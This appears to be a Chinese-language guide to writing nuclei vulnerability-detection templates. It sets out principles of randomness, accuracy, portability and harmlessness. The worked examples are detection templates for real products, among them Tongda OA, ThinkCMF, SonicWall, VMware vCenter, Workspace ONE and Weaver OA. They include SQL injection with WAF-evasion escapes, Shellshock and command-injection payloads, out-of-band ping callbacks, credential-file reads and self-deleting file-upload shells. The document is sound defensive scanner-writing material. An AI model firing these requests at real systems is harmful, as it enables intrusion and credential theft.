编写原则及案例分享
1. 随机性¶
随机性可以检验编写的POC是否足够健壮。
POC中不要出现固定的字符或者有关任何个人、公司等的信息,尽量使用一些随机字符来进行检测,例如一段随机字符串、一段随机字符串的Hash值等等,这样做的好处可以提高POC检测的准确性以及避免被安全设备WAF特征识别。
nuclei内置随机变量,{{randstr}}为一个随机字符串变量,而{{randstr_1}}、{{randstr_2}}为两个不同的随机字符串。
但当存在代码注入或系统命令注入时,不要直接echo或打印一个字符串,一些WAF会完整返回发送的请求数据包。如下图:

案例一:某某系统存在命令注入
requests:
- method: GET
path:
- "{{BaseURL}}/ping.php?ip=;%20md5%20-s%20{{randstr}}"
redirects: false
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "{{md5('{{randstr}}')}}"
part: body
使用nuclei在本地测试,详细运行结果如下:

案例二:通达OA 11.9前台get_datas.php SQL注入漏洞
id: tongda-oa-v11-reportshop-sqli
info:
name: 通达 OA 11.9前台SQL注入漏洞
author: FQ_Hsu
severity: high
reference:
- https://ad-calcium.github.io/2021/10/%E9%80%9A%E8%BE%BEoa11.9%E5%89%8D%E5%8F%B0%E6%B3%A8%E5%85%A5/
tags: tongda-oa,sqli
requests:
- raw:
- |
GET /general/reportshop/utils/get_datas.php?USER_ID=OfficeTask&PASSWORD=&col=1&tab=5+whe\re+1={`\='`+1}+un\ion+(s\elect+m\d5('{{randstr}}'))--+' HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate
Connection: close
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
name: md5
words:
- "{{md5('{{randstr}}')}}"
part: body
2. 准确性¶
2.1 匹配条件需充足¶
不要使用单一模糊的条件去判断,如HTTP 200状态码、固定页面内容等来判定漏洞是否存在,极可能出现假阳性的误报。
案例一:海康威视/config/user.xml密码泄漏

这个POC存在两个问题:
- 没有添加
redirects: false关闭重定向,有些系统404后会重定向至一个200的页面 - 匹配多个关键词的时候没有添加
condition: and条件。
导致此POC在实际利用中存在大量误报。
2.2 页面已存在预期的结果¶
案例一:ThinkCMF任意代码执行
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?g=g&m=Door&a=index&content=<?php%20phpinfo();"
matchers-condition: and
matchers:
- type: word
words:
- "PHP Extension"
- "PHP Version"
- "PHP License"
- "PHP Variables"
condition: and
- type: status
status:
- 200
如果碰上一个本来就是PHPinfo的页面,这里就会存在误报。
案例二:SonicWall SSL VPN命令注入
requests:
- raw:
- |
GET /cgi-bin/jarrewrite.sh HTTP/1.1
Host: {{Hostname}}
Accept: */*
User-Agent: () { :; }; echo ; /bin/echo testtest
matchers-condition: and
matchers:
- type: word
words:
- "testtest"
part: body
- type: status
status:
- 200
这个POC存在的问题,首先且不说testtest字符串过于常见不够随机特殊;另外这个POC如果遇到那种调试页面(即将接收到的请求数据包括HTTP Header都输出到页面),那么这里echo的字符串无论有多独特都会存在误报。
2.3 一些建议¶
2.3.1 代码执行输出字符串拼接¶
<?php echo "{{randstr_1}}" . "" . "{{randstr_2}}";?>
out.println("{{randstr_1}}" + "{{randstr_1}}");
......
2.3.2 针对有回显的命令执行¶
- Linux
expr randInt - randInt(相减后的结果)
echo aaaa""bbbb, echo aaaa''bbbb(aaaabbbb)
echo aaaa\bbbb(aaaabbbb)
md5 -s {{randstr}}
- Windows
print 1(无法初始化设备 PRN)
2.3.3 无回显命令执行¶
- Windows
ping -n 2 {{interactsh-url}}
- Linux
ping -c 2 {{interactsh-url}}
curl {{interactsh-url}}
2.3.4 SQL注入¶
updatexml(1,concat(":",rand_str1,rand_str2),1)
union select concat(rand_str1, rand_str2)
load_file(concat('\\\\',user(),'.dnslog.com\\blindsqli'))
3. 通用性¶
PoC应兼顾各个不同的环境和平台。切勿只考虑漏洞复现的单一环境,要考虑到存在漏洞的应用的不同版本、安装应用的不同操作系统、API接口、参数名、路径前缀、执行命令等的不同情况。
3.1 代码执行优先命令执行¶
能通过代码执行的漏洞,就不要再通过代码调用系统命令来执行。代码执行一般比命令执行可操作性更大,更稳定。
案例一:CVE-2022-22954 Workspace ONE Access SSTI

此漏洞是一个模版引擎注入漏洞,如上图所示的payload是执行系统级别的命令,所以显然不可以直接拿这个payload来作为POC检测规则,原因在于为了避免操作系统差异带来的命令不通用以及防止WAF拦截操作系统执行的敏感命令,还有一些蜜罐的干扰影响。所以在编写POC时,只需执行模版引擎代码即可,如下所示。
requests:
- raw:
- |
GET /catalog-portal/ui/oauth/verify?error=&deviceUdid={{payload}} HTTP/1.1
Host: {{Hostname}}
payloads:
payload:
- '{{url_encode("${1*233}0rnHi76hNPU9DO3YZZi27ewT2UB9v05r")}}'
matchers-condition: and
matchers:
- type: word
words:
- "2330rnHi76hNPU9DO3YZZi27ewT2UB9v05r"
- "Authorization context is not valid"
part: body
condition: and
3.2 系统不同的差异性¶
存在远程命令执行漏洞的时候,需要考虑到Linux和Windows系统命令的差异。
案例一:某广播系统命令注入

requests:
- raw:
- |
POST /php/ping.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
jsondata[ip]=a|{{command}}&jsondata[type]=1
payloads:
command:
- "print 1" # Windows
- "expr 2134178924712435823 - 1234897321461895" # Linux
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "\\u65e0\\u6cd5\\u521d\\u59cb\\u5316\\u8bbe\\u5907 PRN"
- "无法初始化设备 PRN"
- "2132944027390973928"
condition: or
part: body
这里为了考虑到系统不同所带来的命令不同,所以请求了两次。第一次执行的是Windows的命令print 1,如果成功执行会返回无法初始化设备 PRN错误;第二次执行的是Linux系统命令expr 2134178924712435823 - 1234897321461895,计算两数相减,并返回结果2132944027390973928。虽然Windows和Linux系统都存在一个功能类似的命令echo,但是为了准确性请避免使用。
3.3 无回显命令执行¶
案例一:CVE-2021-21315 Node.js Systeminformation命令注入
requests:
- method: GET
path:
- "{{BaseURL}}/api/getServices?name[]=$(ping%20-n%202%20{{interactsh-url}})" # Windows
- "{{BaseURL}}/api/getServices?name[]=$(ping%20-c%202%20{{interactsh-url}})" # Linux
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: interactsh_protocol # Confirms DNS or HTTP Interaction
words:
- "dns"
- "http"
condition: or
此命令执行漏洞并没有回显,所以需要使用外带技术。由于ping在不同系统上均已存在,但要考虑到不同系统ping命令的不同(ping在Windows系统上默认是ping 4次就会自动停止,但在Linux系统上会一直ping下去),所以这里添加了参数-n和-c。
注意:Windows使用certutil命令联网可能会被本地安全软件(360、火绒等)拦截。
3.4 不同版本的差异性¶
存在任意文件读取的时候,要考虑系统不同或者受影响版本不同所带来的文件路径不同。
案例一:VMware vCenter多个版本任意文件读取漏洞
requests:
- raw:
- |
GET /eam/vib?id={{path}}\vcdb.properties HTTP/1.1
Host: {{Hostname}}
payloads:
path:
- "C:\\ProgramData\\VMware\\VMware+VirtualCenter" # vCenter Server 5.5 and earlier (Windows 2008)
- "C:\\Documents+and+Settings\\All+Users\\Application+Data\\VMware\\VMware+VirtualCenter" # Other Windows versions
- "C:\\ProgramData\\VMware\\vCenterServer\\cfg\\vmware-vpx" # vCenter Server => 6.0
stop-at-first-match: true
matchers-condition: and
matchers:
- type: regex
regex:
- "(?m)^(driver|dbtype|password(\\.encrypted)?)\\s="
- type: status
status:
- 200
提示:
- 添加
stop-at-first-match: true,请求匹配上即停止; - 此处还可以读取系统文件,Linux可以读取
/etc/passwd,Windows可以读取c:\windows\win.ini,Windows有时候需要注意转义符号,即\\。
4. 无害性¶
在有效验证漏洞的前提下尽可能避免对目标造成损害。
验证漏洞时,在有效验证漏洞的前提下,尽可能的不要改写、添加、删除数据,尽量不上传、删除文件。可以的话,验证漏洞完毕后应恢复数据与验证漏洞前的数据一致。切记不要上传webshell,甚至phpinfo也不要上传。
4.1 上传自删除文件¶
案例一:CNVD-2021-49104泛微Eoffice任意上传文件PHP远程代码执行
requests:
- raw:
- |
POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host: {{Hostname}}
Cookie: LOGIN_LANG=cn; PHPSESSID=0acfd0a2a7858aa1b4110eca1404d348
Content-Length: 195
Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4
--e64bdf16c554bbc109cecef6451c26a4
Content-Disposition: form-data; name="Filedata"; filename="{{randstr}}.php"
Content-Type: image/jpeg
<?php echo "{{randstr_1}}" . "" . "{{randstr_2}}";unlink(__FILE__);?>
--e64bdf16c554bbc109cecef6451c26a4--
- |
GET /images/logo/logo-eoffice.php HTTP/1.1
Host: {{Hostname}}
req-condition: true
matchers:
- type: dsl
dsl:
- 'status_code==200'
- 'contains(body_1, "logo-eoffice.php")'
- 'contains(body_2, "{{randstr_1}}{{randstr_2}}")'
condition: and
这里有几点关键:
<?php echo "{{randstr_1}}" . "" . "{{randstr_2}}";unlink(__FILE__);?>,上传的内容为echo两个随机字符串进行拼接遵循随机化、无害化原则;- 判断第二个请求中是否包含
{{randstr_1}}{{randstr_2}}字符串满足准确性原则; - 由于
unlink(__FILE__)的存在,在访问这个文件一遍后,如果权限足够,此文件就会自动删除。
案例二:泛微e-cology9 OA任意文件上传JSP远程代码执行
requests:
- raw:
- |
POST /xxxx.jsp HTTP/1.1
Host: {{Hostname}}
Content-Length: 371
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytiDg1aubSTniDLrs
------WebKitFormBoundarytiDg1aubSTniDLrs
Content-Disposition: form-data; name="upload"; filename="../../{{randstr_1}}.jsp"
Content-Type: application/octet-stream
<%
out.println("{{randstr_2}}" + "{{randstr_3}}");
new java.io.File(application.getRealPath(request.getServletPath())).delete();
%>
------WebKitFormBoundarytiDg1aubSTniDLrs--
- |
GET /{{randstr_1}}.jsp HTTP/1.1
Host: {{Hostname}}
req-condition: true
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains(body_2, '{{randstr_2}}{{randstr_3}}')"
condition: and
4.2 其他语言的自删除¶
- PHP
- ASP
<%
Response.Write chr(101)&chr(49)&chr(54)&chr(53)&chr(52)&chr(50)&chr(49)&chr(49)&chr(49)&chr(48)&chr(98)&chr(97)&chr(48)&chr(51)&chr(48)&chr(57)&chr(57)&chr(97)&chr(49)&chr(99)&chr(48)&chr(51)&chr(57)&chr(51)&chr(51)&chr(55)&chr(51)&chr(99)&chr(53)&chr(98)&chr(52)&chr(51)
CreateObject("Scripting.FileSystemObject").DeleteFile(server.mappath(Request.ServerVariables("SCRIPT_NAME")))
%>
- ASPX
<%@Page Language="C#"%>
<%
Response.Write(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("ZTE2NTQyMTExMGJhMDMwOTlhMWMwMzkzMzczYzViNDM=")));
System.IO.File.Delete(Request.PhysicalPath);
%>
- JSPX
<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns="http://www.w3.org/1999/xhtml" version="2.0" xmlns:jsp="http://java.sun.com/JSP/Page" xmlns:c="http://java.sun.com/jsp/jstl/core">
<jsp:directive.page contentType="text/html;charset=UTF-8" language="java" />
<jsp:scriptlet>
out.println(new String(new sun.misc.BASE64Decoder().decodeBuffer("ZTE2NTQyMTExMGJhMDMwOTlhMWMwMzkzMzczYzViNDM=")));
new java.io.File(application.getRealPath(request.getServletPath())).delete();
</jsp:scriptlet>
</jsp:root>